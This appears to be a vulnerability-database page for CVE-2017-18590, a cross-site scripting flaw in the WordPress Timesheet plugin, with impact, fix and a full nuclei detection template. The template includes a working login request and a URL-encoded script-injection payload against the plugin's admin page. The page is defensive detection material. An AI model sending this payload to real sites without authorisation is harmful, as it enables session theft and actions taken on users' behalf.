HexBrain

Browse / CVEs / CVE-2017-18590

CVE-2017-18590· bestwebsoft / timesheet· CWE-79

Timesheet Plugin < 0.1.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.

Impact

Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to version 0.1.5 or later.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/timesheet")
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")

Run it with nuclei: nuclei -id CVE-2017-18590 -u <target>

The full check
id: CVE-2017-18590

info:
  name: Timesheet Plugin < 0.1.5 - Cross-Site Scripting
  author: Splint3r7
  severity: medium
  description: |
    The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to version 0.1.5 or later.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18590
    - https://downloads.wordpress.org/plugin/timesheet
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18590
    cwe-id: CWE-79
    epss-score: 0.01404
    epss-percentile: 0.7279
    cpe: cpe:2.3:a:bestwebsoft:promobar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: timesheet
    framework: wordpress
  tags: cve,cve2017,wordpress,wp,wp-plugin,bws-promobar,xss,authenticated,timesheet,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/timesheet")'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from